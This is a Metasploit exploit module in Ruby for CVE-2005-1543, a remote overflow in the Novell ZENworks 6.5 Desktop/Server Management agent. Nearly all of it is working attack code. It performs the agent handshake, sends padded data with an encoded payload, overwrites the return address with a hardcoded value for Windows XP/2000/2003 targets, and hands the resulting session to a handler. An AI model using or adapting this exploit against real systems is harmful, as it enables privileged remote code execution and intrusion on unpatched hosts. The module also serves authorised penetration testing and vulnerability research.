Novell ZENworks 6.5 Desktop/Server Management Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Novell ZENworks 6.5 Desktop/Server Management Overflow',  
'Description' => %q{  
This module exploits a heap overflow in the Novell ZENworks  
Desktop Management agent. This vulnerability was discovered  
by Alex Wheeler.  
  
},  
'Author' => [ 'anonymous' ],  
'License' => BSD_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2005-1543'],  
[ 'OSVDB', '16698'],  
[ 'BID', '13678'],  
  
],  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 32767,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
},  
'Targets' =>   
[  
[  
'Windows XP/2000/2003- ZENworks 6.5 Desktop/Server Agent',  
{  
'Platform' => 'win',  
'Ret' => 0x10002e06,  
},  
],  
],  
'DisclosureDate' => 'May 19 2005',  
'DefaultTarget' => 0))  
end  
  
def exploit  
connect  
  
hello = "\x00\x06\x05\x01\x10\xe6\x01\x00\x34\x5a\xf4\x77\x80\x95\xf8\x77"  
print_status("Sending version identification")  
sock.put(hello)  
  
pad = Rex::Text.rand_text_alphanumeric(6, payload_badchars)  
ident = sock.get_once  
if !(ident and ident.length == 16)  
print_status("Failed to receive agent version identification")  
return  
end  
  
print_status("Received agent version identification")  
print_status("Sending client acknowledgement")  
sock.put("\x00\x01")  
  
# Stack overflow in ZenRem32.exe / ZENworks Server Management  
sock.put("\x00\x06#{pad}\x00\x06#{pad}\x7f\xff" + payload.encoded + "\x00\x01")  
  
ack = sock.get_once  
sock.put("\x00\x01")  
sock.put("\x00\x02")  
  
print_status("Sending final payload")  
sock.put("\x00\x24" + ("A" * 0x20) + [ target.ret ].pack('V'))  
  
print_status("Overflow request sent, sleeping for four seconds")  
sleep(4)  
  
handler  
disconnect  
end  
  
end  
`